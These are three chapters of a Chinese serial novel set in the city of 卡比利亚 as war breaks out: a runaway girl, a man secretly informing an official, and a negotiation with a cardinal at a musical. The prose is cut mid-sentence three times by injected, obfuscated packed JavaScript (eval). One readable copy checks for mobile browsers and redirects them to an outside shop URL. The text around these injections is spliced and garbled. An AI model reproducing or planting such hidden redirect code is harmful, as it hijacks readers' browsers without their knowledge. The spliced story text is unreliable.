“还不知道呢。”周向青回答。 但赛德大概是听到了“开战”两个字,含糊不清地大声说道:“开战了是好事,终于到了……的时候。” “是是是,到你大显身手了。”姜原半扛半架地把赛德弄进房间,扔到床上。赛德的脑袋一沾上枕头,顿时呼呼陷入梦乡。 周向青试着用房间的电话联系让娜的姨妈,但只有线路不通的嘟嘟短音。她嘱咐让娜再拨几次电话,然后自己去找姜原。恰好姜原正在走廊里。他已经换了一件长风衣,一副要出门的样子。 “现在我们怎么办?”周向青问。 “不用急。我问过赛德,他说虽然之前在整理研究成果、撤离研究人员,但没听说要撤馆藏。所以可以明天一早再去。只是不清楚——” “我问的是让娜的事。电话打不通。我在想,要不要送她去找姨妈?” “街上太乱。她知道姨妈在哪里上班吗?照现在这情况,她的姨妈还不知道今夜能不能回家。我觉得用不着多想,陪她聊聊天,睡一觉,等明天就好了。” “那你呢?” “我去街上看看情况。”姜原说。 周向青盯着姜原的脸,试图从他的表情中看出一点端倪。姜原非常平静。但就是这种平静让周向青不太相信他。不符合她对他的第一印象。 但至少他没想隐瞒自己想出去这件事。 “那你明天还回来吗?”周向青问。 姜原尴尬地笑了笑。“看你这话说的。我就是出去看看。” 周向青也不再多说。她开门回到自己的房间。让娜乖乖坐在床上,看周向青回来,站起来说:“电话一直打不通。”小姑娘的语气有点紧张。 “你知道你的姨妈在那里工作吗?” 让娜的眼珠向右上方一转:“她在教会里上班。但哪个部门我不知道。是不是真的打仗了?” 周向青摇了摇头。“现在还什么都没确定呢,你也不用急。” “但我心里有点怕。” 周向青在让娜身边蹲了下来,柔声问道:“你害怕什么呀?” “我也不知道。” “那给你看胖球好不好?”周向青揭开笼子上的罩布。八哥突然被灯光照到,吓了一跳,呆呆地看着面前的两个人。 让娜举起手,跟胖球打了个招呼。但她的心思明显不在这边。 周向青只好又把胖球的笼子盖住。她想看看新闻,但房间里没有电视,也没有广播。只是床头柜的抽屉里有一本黑色封面,印着红色三角的小书,那是简略版的教会经义。她把那本小书递给让娜。但让娜摇摇头,并不想接。 周向青把那本书放回抽屉,心烦意乱地向窗外望了望。街道上空无一人,只有一辆摩托车拉着警笛从路面上慢慢驶过,还用大喇叭放着:“请市民朋友们尽快回到家中,注意安全,不要在街上逗留!” 刚才的混乱似乎只是一场奇怪的表演。 让娜突然问:“我们去楼下看看电视好不好?” 周向青答应了。 大概是出于同样的想法,不少人也走出房间,顺消防楼梯下楼。楼下挤了不少人。前台的两个接待员忙碌不停。有人退房,想要趁消息还不确定的时机连夜出城;有人却要入住,尽管服务员已经把外面的霓虹灯招牌关掉了。但不论是在办手续的人,还是看情况的人,还是不知所措的人,此时都格外的安静。人们像是兔子一样聚成一大群,抻着脖子,支楞着耳朵,望着柜台后的电视机。 那电视机仍旧没有声音。屏幕上仍旧是一位身披圣袍的教职人员慷慨陈词。下面有一行飘过的字幕,写着:“……已在天门、陆平、河阳多地展开小规模交火,米卡方面尚未公开发布任何消息……” 画面一抖,教职人员消失了,屏幕变成了七色的条块。画面又是一抖,那位教职人员又出现了,重新开始慷慨陈词,下面飘过一行字幕,写着:“……已在天门、陆平、河阳多地展开小规模交火,米卡方面尚未公开发布任何消息……” 大家静静地又看了一遍那段画面。 画面再一抖,那段画面重新开始。 “妈的。”突然有人骂道。 “肯定开战了。” “圣女保佑,圣女保佑,圣女保佑……”老太太突然扑通跪下,双手握着一串念珠,频频摇晃。 “这下怎么办,我才刚刚给精神银行捐了款,那可是现金啊,早知道……” “吵吵什么?嚎丧一样!” “你这么有骨气,怎么不到前线去呢?” 一个老人突然唱起歌来:“救世圣军,壮志豪情,战旗飘扬鼓角争鸣……” “老东西闭嘴吧,没人信那一套!” “老东西?没有我爸爸,像你这样的狗还在给公司舔鞋底呢!” “哦,你是不是准备把他也送去冻成冰棍,等着那什么‘三元一体’到来的时候啊?” 争吵。怒骂。推搡。互殴。有什么东西飞起来,正中那台电视机,屏幕闪了几闪,正在慷慨陈词的教职人员变成了许多色块和细线。 周向青想把让娜带回房间,却发现小姑娘不知何时已不见了。 “让娜!”她喊道。她挤开人群寻找,但没有找到。她怀疑让娜自己去了厕所。但厕所里没有人。她又返回大堂,一个人被她推了个趔趄,骂了一句挥拳要打,但看到了她胸前的三角标记,只好收回手去。周向青并不理睬,只是匆匆跑上楼梯,奔回房间。房门紧锁着。让娜又没有钥匙,怎么进得来?她去敲隔壁姜原的房门,也没人答应。 难不成是跑到外面去了? 她急忙下楼。跑到街上去。 “让娜!”周向青大声喊道。只有淡淡的回音在空无一人的街道间回荡。 ### 赛德听到姜原关门的声音,便两手一撑,从床上支起身子。他的胃里有点翻江倒海,但这算是一点点必要的代价。他竖起耳朵,门廊里的声音非常清晰。 “我问的是让娜的事……要不要送她去找姨妈?” “街上太乱。……你陪她聊聊天,睡一觉,等明天就好。” 隔壁的房门一响,同时一串脚步声也下楼去了。赛德急忙起身,挑开窗帘的一角。只见姜原竖着衣领,快步穿过街道,钻进了黑洞洞的巷子里。赛德这才蹑手蹑脚反锁了房门,回到床前拿起电话,拨了一个号码。 电话响了一声就接通了。 “报号。” “J16423058,让·赛德。请接统合内务部,刘光磊主操。” “抱歉,请问您有什么事情?目前线路紧张,如果不是……” “你就说有老同学找他!有要事。很关键。” “抱歉,我们注意到您没有用安全号码。刘副主操现在正忙,如果……” “因为我拿不到办公电话!”酒精让赛德的脑袋有些充血,但他还是尽量压低声音。“首先,我是刘光磊的老同学。其次,你告诉他,我有跟程光颐相关的消息。这是要紧的事!跟战争有关!他最近一直在做这个案子,如果你耽误了这条消息,就等着处分吧!” 对方犹豫了一下,说:“请您稍等。” 时间一分一秒的过去,像是过了十几分钟那么久。赛德不知道姜原什么时候回来,只好一直盯着街上的动静。一辆警车从外面开过,大喇叭放着一些废话。对面也有几户人家亮着灯,人影在窗前晃来晃去,似乎也在等待什么。然后他听到隔壁有开门声,似乎是周向青带着让娜一起下楼了。她该不会是要送小姑娘去姨妈家吧?他盯着旅馆门口,但很长一段时间都不见那两个人出来。赛德松了一口气。大概她们是去找服务员要什么东西。他不想在这个时候多生枝节。 但那口气还没松完,赛德就看到让娜小小的身影倒退着走出旅馆,出现在街道上。她向左右看了看,又望向旅馆,显得有些犹豫,但很快握紧小拳头,向上城区的方向跑去。赛德差点喊出声来。这淘气的小妮子!他想下去追,但他不能离开电话。赛德烦躁地把听筒紧压在耳朵上,但电话那头仍然是无尽的沉默。于是他只好眼睁睁地看着让娜消失在视野之外。 又过了不知多久,电话里才终于响起悉悉索索的声音,那个接线员回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在圣女草田中看到地景象简直就是上天给与他的启示,让他明白了圣女草真正的意义。圣女草之所以叫圣女草,才不是因为什么血染的红色,而是因为它能够在人群中辨认出真正的圣女。 想到这一点让他的心情激动不已,但走廊里突然响起了急促的脚步声,然后不知是谁“砰砰”拍打着房门。赛德急忙闭紧嘴巴,紧紧盯着门缝下的黑影。对方没有做声,只是又敲了几次门,然后匆匆跑开了。 “喂?你还在吗?到底遇到什么啦?” “我遇到了……程光颐的任务对象。”赛德说道。刘光磊在上学时就一直和程光颐的理念不同,想法格格不入。他要稳住,不能把这件事提前说出来。他要趁此机会见到上面的大人物,让他们听一听他的声音。 但赛德此时看到,周向青从旅馆大门跑了出来,沿去上城区的路离开了。她一定是去追让娜了。这可恶的小妮子。 刘光磊又一次沉吟了很久,才问道:“你……知道程光颐在找什么吗?” 果然,这家伙开始怀疑了。“我是在讲区遇到的。一个从城市来的男人带着她,准备来卡比利亚。我看她戴着高阶骑士的圣血银棘三角徽章,就打听了一下是怎么回事。她说,程光颐去世前跟她约好,要护送她来卡比利亚。所以,我猜程光颐去城市的任务,就是把她接回来,不是么?” 刘光磊迟疑了一下,说:“差不多吧。你说的这个人在哪?” “她现在和我住在一家旅馆。” “你把他稳住,我现在就带人过去。”刘光磊说。 “但我跟你说话的功夫,她……刚刚出去。她往上城区跑了。她大概是去追一个小姑娘。”赛德说。 “小姑娘?”刘光磊疑惑道。 “有个我讲区的小姑娘藏进了车里,然后跟着我们一起过来的。小姑娘刚才偷偷跑去找她的姨妈,她的姨妈似乎是什么部门的书记员,然后他去追了。” “这小泥腿子……算了,那你把他带回旅馆,然后等我!我马上就来!” “我现在去追她。但我不会带她回旅馆。我直接带她去部里。所以,还是你等我吧。”不等刘光磊说什么,赛德直接挂掉了电话。 胃里的酒精又一次涌上他的喉咙,泛起一股刺喉的酸味。 他撞进卫生间,抱着马桶呕吐起来。 一边吐,一边笑了。 21. 卡比利亚之夜06 “这么久了,这地方倒是一点都没变。” 姜原捏着椅子的扶手摇了摇,榫卯结构就像蒸汽火车的摇臂一样咔哒作响。“就连这把椅子都没有换。” “久?距离你上次来才两年而已。而且,谁给我钱换椅子?你么?”瘦的像猴子的男人反问道。他坐的那张椅子也不遑多让,只比姜原屁股下面的椅子多一个千疮百孔的棉坐垫。 “如果像你这样两头吃的买卖都喊穷,那普通人可怎么活啊。” 瘦猴吸了一口烟,慢慢地喷在空中。然后说:“普通人才不会考虑‘怎么活’呢。他们只是活着。活到活不下去为止。” “就像现在吗?”姜原是指外面的情况。 “就像现在。” 瘦猴用下巴指了指前方的银幕。 一个骑在巨大炸弹上的男人不断挥舞着牛仔帽,发出阵阵兴奋的叫喊,和炸弹一同从高空撞向地面。这部片子是上时代关于世界末日的经典电影,两大阵营建立互相毁灭的核威慑,然后因为一个疯子的疯狂之举,他们相互毁灭了。但说实在的,那部片里的所有人是疯子,所以有一个疯子搅局自然也理所应当。 “所以公司那边到底是什么情况?”姜原问。 瘦猴叹了口气,把皱巴巴的纸烟叼进嘴里,然后伸手在旁边吸烟桌上的一堆信封里拈起一个,从中抽出一张照片递给姜原。那是一张卫星照片。照片上是一段云层。但能看得出云层一角露出一个银白色的飞艇尾巴,并不是那么好辨认。云层下面是一条弯弯曲曲的河流。目前还在工作的上时代卫星并不多,几乎都在学院手里。 “哎哟,这是哪个学院的人丢在你这的?”姜原问。 “不记得了。来来往往的人太多,我又不做账。”瘦猴懒懒答道。 “这是哪个地方?”姜原看着照片上的坐标,但他不太算得出来。他对地理没啥研究。“感觉是不是离这里有点近?两天前的照片。” “我就一个买卖旧货的,怎么会懂这些。”瘦猴吸着烟,双眼只是盯着银幕上的画面。 “两天前……两天前,但石岗城到这里的车应该是昨天发车。所以可能跟他并没有关系。”姜原喃喃自语两句,把照片还了回去。“闲话也不扯了。你知不知道这次过来的枢机主讲,什么时候比较闲啊?我想跟他聊聊。” “怎么,你也毕业了,想找份工作?”瘦猴随手把照片丢进了烟灰缸。 “没有。” “哦。”瘦猴点了点头,却不回答姜原的问题。 “是一点私事,不想让老家伙们那么快就知道。”姜原补充道。 “但我可听说,他们正在找你咧。想知道你什么时候把东西送回去。” 姜原尴尬地笑了笑。“可能还得一段时间。” “如果你想先一步偷看内容,我也不是搞不到相应的设备。可以免费借给你。”瘦猴眨了眨眼。 姜原知道瘦猴指的是他手里的那批存储器。“那我可不敢。我还不想让全世界都知道里面是什么东西。” “唉,你这么不信任我,可太伤我心了。”瘦猴把纸烟搭在烟灰缸边,站起身走向墙边的文件柜,从中抽出一个夹子。“枢机主讲是吧。教会——圣职——C……这里。不过,想‘聊聊’有很大难度。你确定不想走学院的关系网?” 纸烟滑到了那张卫星相片上。照片上的涂层渐渐皱缩、褪色,阴燃起来。姜原看着烟灰缸里那袅袅上升的青烟,答道:“我暂时还不考虑。” “好吧。人各有志。如果平时,这件事有很大难度,但他现在有八成的概率在卡萨兰卡大剧院,今晚有茱丽茜娜的表演。忠实粉丝,你懂的。如果你错过这个机会,或者他出于某种原因并没有去,那我就不知道了。”瘦猴抬起手腕,看了看表。他手腕上的电子表的外壳已经掉了,而表身的材质只是廉价的塑料,作为按键的金属触点直接暴露在空气中。做工粗糙的液晶屏上显示的时间是9点16分。 “今晚?就现在?”姜原皱眉道。 “今日今夜,此时此刻。”瘦猴笑了笑,坐回他那破破烂烂的扶手椅。“毕竟谁还能没点爱好呢?” 而银幕上,一个坐在轮椅里的人突然激动地站了起来,戴着手套的手不听使唤般敬着抬臂礼。电影已经到了尾声。 ### 此时的卡萨兰卡大剧院正笼罩在欢愉的灯光里,似乎没有受到什么交火信息的影响。大剧院是一座颇为古朴的建筑,大量内嵌LED灯片的钢化玻璃为砖为瓦,铺满地面,砌筑墙壁,通上电流之后,到处便闪烁洋溢着温暖的光辉。 它就是一座光之城堡。 只不过这里今天的主人要更加夺目耀眼。茱丽茜娜在海报上的笑容能使卡比利亚的夜景黯然失色,只需区区一把银币就能够买到一触这光芒的机会。所以这里也聚满了慕名而来的观众。 音乐剧早已开始,大剧院的外厅里除了四名穿着罩袍的骑士以外别无他人。他们的罩袍与程光颐的不同,不是深红,而是深紫色;罩袍胸前的圣徽刺绣也略有不同,一条长有翠绿叶片的嫩枝从血红色的空心正三角中伸了出来。他们改造成铁臂的右手正藏在罩袍袍底,只露出左手按着剑柄。 他们是隶属石岗城的圣座近卫队。而其存在也说明枢机主讲必然就在这里。骑士们把守着通向二楼东侧包厢的楼梯,姜原能感觉得到他们面甲下冷峻的视线。外厅通往内厅剧场的正门紧闭着,这扇门只在演出开始前与结束后才打开。而迟到的人只能走另一条路,就是绕道东西两侧的走廊,从侧面的小门入场。于是姜原向西侧的回廊走去。 坐在服务台后的服务员看到姜原,便起立鞠躬,请他出示门票。姜原点头微笑,伸手入怀,在右手递过一张票据的同时,左手暗藏的细管中射出一根钢针,刺进服务员的脖颈。服务员一脸惶惑地看着手中的餐馆收据,张嘴想要说话,但又发不出声音,只是在麻醉剂的作用下,慢慢坐回了原位。 姜原伸手把餐馆收据又抽了回去,瞄了一眼侧前方的摄像头。在值班人员意识到有问题并通报上级之前,他预计自己有五到十分钟的时间撤出这个地方。姜原快步穿过走廊,推开侧门,走进剧场。 人群坐在黑暗中,凝视着舞台。舞台上的布景是类似建筑废墟的地方,一个衣衫褴褛的男人斜倚在弯折的钢筋水泥横梁上,被当作众人的王顶礼膜拜。他手持一柄由铝合金窗棱做成的权杖,意得志满地唱到:“妓女与窃贼,在此情同手足;乞丐与强盗,在此同舟共济。我们像蚂蝗与蚊蚋,共饮一杯鲜血的美酒,只因这里既非天堂,亦非地狱——” 众人和声唱道:“这里是奇迹宫!这里是奇迹宫!” 姜原从口袋中掏出一个单筒镜,卡在眼眶里,夹好夹鼻。这只是一种简易的夜视设备,并不像上个时代的夜视仪那么有效,但也堪用。他的目标就是对面二层的包厢。那边同样很暗,人影幢幢,不太能看得清楚。 但姜原还是轻易找到了自己的目标。这是一个简单的逻辑的问题。枢机主讲的包厢必定视野最好,而且不可能不安排护卫骑士。虽然其它位高权重之人可能也有随行人员,但近卫骑士的服色形制相对特殊,极易分辨。 枢机主讲独自坐在包厢正中,而两名骑士则站在靠近包厢门口的位置。 姜原低头弓背,迅速从人群中穿过,达到剧场的另外一侧,也就是枢机主讲包厢的正下方。他调整了一下机械爪的背带,便像蜘蛛一样紧贴墙壁爬了上去。所有人的注意力都被演员们吸引,没人在乎黑暗中的这个特殊观众。姜原很快就爬到包厢的隔板处,从那里,他可以看到枢机主讲正专注地望着舞台。 枢机主讲是个五十多岁的中年人,平头,两道浓眉下的深邃眼神中,颇有些忧郁。 “喂,主讲大人。”姜原轻声叫道。 枢机主讲一愣,四处看了看,却没有看到姜原。于是姜原又叫了一声。这回枢机主讲找到了声音的来源,他略一迟疑,便拍了拍自己旁边空着的座位。 姜原便跳进包厢,机械爪缩回他的大衣。两名骑士同时拔剑,但枢机主讲只是举起右手。骑士们只好退回原地。 “您好,我想跟您……”姜原说。 “嘘。”枢机主讲竖起食指。“这是想念爱人的小合唱。” 舞台上一位穿绿衣的女子,双手捧着心口,含情脉脉地唱道:“爱他温柔似暖阳,爱他优雅如流光,源源不断的思念,宛如春江水流淌。爱他温柔似暖阳,爱他优雅如流光——” 另一位穿粉衣的女子从另一侧登场,接着唱道:“爱他温柔似暖阳,春晓梦醒似流光,想要抽身已不能,恰如春江水不还——” 两位女子背对背,不断向舞台中央移动。她们各自唱着曲调相同,歌辞稍异的歌,形成和谐的二重唱。但她们却又像都不知对方的存在一般。曲调一落,两位女子各自下台,而一个穿着铠甲的骑士在正中登场。姜原猜她们其中一位就是这位主讲大人喜欢的茱丽茜娜。 骑士终于开口歌唱了。骑士正陷入忧愁之中,因为他想要同时接受那两位女子的爱,舍不得放弃任何一方。 真是奢侈的烦恼。 枢机主讲在此时开口道:“你这么费心思来找我,准备谈什么事情?” “谈一个您无法拒绝的建议。关于现在的情况,关于这场战争。” 枢机主讲道:“如果你想出售什么消息,谈什么交易,难道不是去找卡比利亚大主讲,或者直接跟石岗城联系更好吗?为什么要来找我?我只是个上面下来的钦差大臣而已。” 姜原自信地笑了笑。“就因为是这样,我才来找你。” “为什么呢?” “因为我手上的东西如果带到石岗城,那反而是自投虎穴;而跟卡比利亚大主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088310|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲联系,他可能会担心越权之类的事情,一时无法决定,耽误时间。所以反而来找你是最合适的。一方面,你在此地暂时的权力大于卡比利亚大主讲;另一方面,你又有石岗城的授权,有一定程度上自由决断的权力。” 枢机主讲眨了眨眼。“哦。你该不会就是报告里说的那个人吧?从杜老板手上抢走世界政府的第十四份文档,然后不知下落的那个人。” “算是吧。” “那样的话,请容我拒绝。” 姜原愣住了。“为什么?” “不明白?”枢机主讲拍了拍姜原的膝盖。“好吧,那先说说你的提议。” “我想借用您这边的数据恢复以及破译设备,尽快提取出这批存储器里面的信息。而您可以拿到其中跟自动化大崩溃政治原因相关的一部分数据。” 枢机主讲点了点头。“你为什么觉得我会答应你的要求?” “因为你们统修会,跟米卡正在争夺这部分数据。你们在做活化机器方面的研究,希望有朝一日能够实现人类与机械体的完美融合;而米卡正好相反,他们力求保持一种人类的纯粹性。你们都认为这份数据能够证明你们对自动化大崩溃成因的解释,证明你们选择的道路没有错,帮助你们赢得更多人的支持,从而扭转这场战争的形势。” “这么说倒也没错。这份数据是可以做到这些事情。那既然我们和米卡持有完全相反的主张,为什么还需要同一份数据呢?” “因为你们都希望这份数据能够支持自己的主张。即便它证明的结果与你们的主张相反,拥有它也可以避免对手获得。”姜原答道。 枢机主讲没有直面回答,而是望向舞台。舞台上,三个男人正围着绿衣女子展开合唱。他们都为这女子神魂颠倒。 “你看过这部音乐剧吗?”枢机主讲突然问道。 “没有,但我记得它好像是跟据上时代的小说改编的。我只看过图书馆里的小说。”姜原回答。他记得这三个男人一个是丑陋的敲钟怪人,一个是副主教,一个是骑兵队长。 枢机主讲点了点头。“但你应该看看。戏剧虽然不如小说的信息丰富,但矛盾冲突和隐喻却更鲜明。茱丽茜娜在这部剧里扮演爱丝梅拉达,是女主角。剧中她的戏份不多,但都很关键。现在舞台上的这三个男人都在追求她,虽然他们各有各的原因,但这种追求实质上又与她无关。因为他们实际上希望拥有的、迷恋的是美,而不是眼前这具,名为爱丝梅拉达的□□。他们一个渴求关怀,一个爱着自己的倒影,一个希望进入神的领域。她只是他们实现真正欲望的媒介。但这三个男人都为她发出的光芒所蒙蔽,以至于看不到除了她以外的东西。舞台表演很完美地体现了这一点。这是在小说中感受不到的。” 姜原跟随枢机主讲的视线望向舞台。三个追求者呈扇形占据舞台的三个角,而穿绿衣的女子玉体横陈,恰好位于圆心。 “您应该不会只是在跟我讲这部剧吧?”姜原问道。 枢机主讲的双眼纹丝不动地望着舞台。他没有回答姜原的问题,反而提问道:“你说,如果这三个男人,无论哪一个,在此时得到了她,会怎么样?” “我记得其中一个人的确得到了她,但随后又把她抛弃了。” “没错。因为他们会发现,自己得到的,并不是自己想要的。扭曲的情感会从失望中产生,事情反而会恶化。” 姜原突然意识到枢机主讲想说什么了。枢机主讲是在拿情节比喻眼前的情况,来解释为什么他不会接受姜原的提议。但如果这么说,难道这份文档不是教会、公司、还有老家伙们都想要的东西吗? 他不相信。不少人为了这份文档付出了生命的代价。 它不可能不是各方想要得到的东西。 姜原说:“您说的跟小说原著似乎有点不同。小说中,抛弃她的原因并不是这个。而且……如果是敲钟怪人得到了她,怪人是不会抛弃她的。” “你说的没错。怪人贪恋她的温柔和体贴。但是,他迟早会意识到自己配不上她的年轻和美貌。如果他不愿妨碍她的幸福的话,只有离开而已。故事的结局可能与原作有所不同,但结果并不会改变。” “但能有所不同,不也比原来更好一点吗?” “还能有更‘好’的结局吗?不明白自己真正的需要,到最后,大家都会付出沉重的代价。这个世界就是这样。” 这句话让姜原想起了学院。某种程度上说,的确如此。他无法反驳。 枢机主讲沉默片刻,又说:“我的弟弟,就付出了生命的代价。” “您的弟弟?”姜原突然感到脊背发凉。 “对。程光颐是我的弟弟。你应该见过他吧?” 枢机主讲程光颢在说这句话时,双眼仍然望着舞台。但姜原却感到,黑暗中有一双无比巨大的眼睛正盯着自己。 22. 卡比利亚之夜07 周向青跑到街上,哪边都看不到让娜的身影。她浪费太多时间了。如果她不去检查厕所,不去楼上,而是直接出门的话,或许她只需两步就能抓住让娜的衣角。让娜一定是去找她的姨妈了。但周向青只记得让娜的姨妈是教会的书记员。她也不知道让娜父母的联系方式。要不要再去把赛德机师叫醒?但叫醒一个喝醉的人并不容易。 如果在这段时间里发生什么意外,比如被路过的车子撞到—— 周向青决定先追一下试试。小姑娘不可能走得有多快。既然她要去上城区的什么部门找姨妈,那多半还是一路往高处走的。 所以她就向着地势高的方向跑去。 果然,跑过两个路口之后,她就听到一声带着怒气的尖叫。一队巡逻的军警逮住了一个小姑娘。是让娜。一个士兵双手抓着让娜的腋下,把她举了起来。让娜的双脚在空中气愤地乱蹬。 “放开我!”让娜大喊。但士兵们只是哈哈大笑。 “快说你家在哪,不说我们就不放手。”一个士兵调侃道。 “我才不告诉你!” “那我们就把你带回去关起来。”士兵们嘿嘿笑着。让娜伸脚去踢说话的士兵。他被踢了好几下,但丝毫不以为意。 “把她放下来好吗?她是……我的妹妹。”周向青有点不太确定自己该如何跟这些人说话。 “大姐姐帮我!”让娜叫道。 士兵们转过身来。 “她是你妹妹?”一个士兵问。 “别傻了,你没听到她叫‘大姐姐’?你管你姐叫‘大姐姐’?”另一个士兵模仿让娜的声音,士兵们又轰然大笑起来。 “你跟这个小姑娘是什么关系?”第三个士兵问。 “她是我……”周向青不知该怎么解释。 “她是我姨妈家隔壁的大姐姐,我是跟她去找我姨妈的!”让娜又开始拼命挣扎,但士兵的力气要比她大得多。 “算啦。这种危险的时候在街上乱晃,我看你俩还是乖乖跟我们一起去警察局里,叫你们的家长来接人。”那个士兵走上前来,伸手抄起周向青的胳膊,想把她一起拉走。 周向青一摆臂,把对方的手打开了。那士兵正待发作,却看到了周向青胸前的三角徽章,不由得一愣,后退了几步,跟自己的队友咬起耳朵。 周向青低头一看,马上明白了原委。 她提高音量怒喝道:“马上给我放开她!” 不知是畏惧徽章所代表的权力,还是慑于周向青的气势,士兵们对望一眼,把让娜放了下来。让娜马上躲到周向青的身后,朝那几个士兵吐口水。为首的士兵像是找回场子似的,补了句“你们两个不要在街上乱晃,赶快回去”,就和自己的队友一起离开了。 “他们怎么回事?这些当兵的,专门骚扰老百姓!”让娜气呼呼地抱怨。 周向青不由得有点想笑。“你跟谁学的这一句?” “我爸爸。” “你刚才是不是就这样说他们,才被抓起来?” “才不是呢。不过,刚才他们怎么突然走了?”让娜急忙转变话题。 “大概就是这个徽章吧。”周向青这回终于把那枚徽章摘了下来,仔细看了看。它的样子似乎和普通的教会三角有些区别,在深红色的外围还有一圈银色的荆棘,几处棘刺上还染着红色。徽章背面是求救按钮,下面还刻着一行编码:Q33042961。大概是程光颐的证件编号。 让娜伸手想按那个按钮,周向青赶忙挡开让娜的手,把徽章重新戴回胸前。看来这玩意是真的挺有用。 让娜盯着那个徽章,眼珠骨碌碌地转动,显然是在动脑筋。 “好啦,跟我回去吧。”周向青说。 “不要。我要去找姨妈。” “你知道姨妈在哪个部门吗?” “这……我现在想不起来具体是哪几个字,但等我看到了,肯定能想起来。所以你跟我一起去呗,好不好嘛。”让娜拉住周向青的手,摇来摇去。 “你不怕再被当兵的抓起来?” “所以才要你跟我一起去啊。有当兵的来抓我,你就用徽章吓唬他们。” “那我们明天天亮了再去,今天先回去睡觉,好不好?”周向青本来以为让娜是害怕打仗,但她现在看上去完全不像是害怕的样子。 让娜嘟起嘴巴:“不行。” “为什么不行?” “大姐姐你怎么也开始问那么多了?好,看在胖球的份上告诉你。因为上城区有一座圣女像,她是初代骑士团的创始人,保护卡比利亚圣迹不受坏人侵犯的女神。所以我想求求她,让我叔叔当上骑士,但不要让他在打仗的时候死掉。妈妈说,跟圣女祷告要晚上才有用,安静的夜里她才听得见你的心声。” 周向青突然想起了程光颐面甲上的黑洞。她不想让让娜的叔叔当什么骑士,更不想让这个素未谋面的男人变得跟程光颐一样。 “好吧。”周向青说。 让娜当即欢呼起来。 在下城区与上城区之间,军警们设置了一道检查哨,核验过往行人的证件。看到周向青胸前的徽章后,负责检查的军官居然敬了一个礼,也没有要求检查她们的证件,甚至还礼貌地询问她们需不需要车辆。周向青赶忙拒绝,拉着让娜离开了检查哨。 “你以前来过这里吗?”周向青问道。 “我跟我爸妈在卡比利亚建城七十周年的时候来过一次。当时我们去了前面的凯旋广场,还照了相呢。但不管怎么说,整个上城区都看得到内城的钟楼。只要沿着差不多的方向走,就能走到凯旋广场。” 周向青向让娜手指的方向看去。果然,远处有一座颇为壮观的钟楼。巨大的指针指向九点四十分。 “哦,难怪你认得这里的路。” “没错,所以我认得这里的路。大钟的方向就是内城的方向,而圣女像则在内城的东边。我们沿着这条路走下去,一直看到一个很大很大的购物中心,再往前走就能找到圣女像了。” 果然,在很大很大的购物中心与涂成暗红色的长长砖墙之间,有一片种着矮树丛的公园广场。而广场一角有一个许愿水池,而圣女就静静伫立在池边。地面埋设了许多灯,灯光从下而上,照亮了她庄严的面容。她鬓角上插着一支带刺的玫瑰,身着征袍铠甲,盾牌背在身后,一手抱盔,一手扶剑柄,低头沉思。月光映在池中的莲叶之下,更显得她坚毅而又沉静。让娜向许愿池里投了一枚硬币,然后跪在圣女像身前默默祈祷。 周向青也低头默祝。此时她注意到,池边还嵌着一块铭牌。 上面写着:“卡比利亚元年,面对无信者的围攻,为保护博物馆中的藏品,率领三十六人坚守一天两夜后,不幸牺牲。但博物馆中的藏品却因此保全。后人继承其意志创立折刃骑士团,立此像以示纪念。” 这里的记录跟赛德机师在谷仓里讲的故事有一些不同。但这大概就是历史记录和儿童故事之区别吧。但周向青注意到,这么重要的人物,铭牌却偏偏没有记录她的名字。 “因为她就是圣女,圣女就是她呀。赛德机师说,圣座不希望用平凡的姓名来代表英雄的行为。一个人是英雄,不是她特殊,而是因为她的事迹特殊。”让娜如是解释。 周向青若有所悟。 让娜祈祷完,没有沿着来路返回,而是带着周向青穿过开阔的广场,顺着红墙往前走。这道既长且高的红墙大概有五个塔楼,当中那个高高的塔楼之下有一个门洞。门洞处拉起了一道临时的栅门,两名哨兵正在栅门前守卫。 “你来这里干什么?”周向青有些疑惑。 “我的姨妈就在这里工作。在那后面。”让娜指着那个门洞。 “内城已经戒严了,禁止进入。”看到周向青和让娜靠近,哨兵们警告道。 “但这边是允许参观的!”让娜争道。 “那是白天。你们是游客吗?我劝你们还是回家去吧。卡比利亚虽然还没有开始宵禁加全面戒严,但也是早晚的事。”其中一个哨兵说。 “我才不是游客,我姨妈是这里的部长!专门管你们!”让娜拉着周向青的手,虚言恫吓。 哨兵看了一眼周向青胸前的徽章,说:“或许吧。但骑士团和内卫毕竟是两个系统。就算你姨妈是骑士团的,也管不到我们。戒严期间,必须出示出入证件才能通过。” 另一个哨兵却盯着她们,说道:“喂,刚才白馆不是下通知说,要注意一个小孩,还有一个找小孩的男人吗?” “但这是个女人。” “我知道,但这个小孩……”两个哨兵嘀咕起来。 情况变得奇怪了。 周向青正想劝让娜和自己回去,但让娜却放开周向青的手,撒腿从两个哨兵旁边冲了过去。她的小脑袋刚好能钻过栅栏,这一来反倒是两个哨兵被挡在了外面。让娜回头扮了个鬼脸,钻进树丛不见了。一个哨兵急忙挪开栅栏去追让娜,另一个哨兵则举起武器对准了周向青。 “你们这是搞什么?” 一个青年军官突然出现在周向青身后,一双英气逼人的眼睛检视着面前的哨兵和周向青。哨兵看到对方的肩章,急忙报告:“这女人想带小孩进去参观,长官!小女孩刚偷跑进去,林子兴已经去追了,长官!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 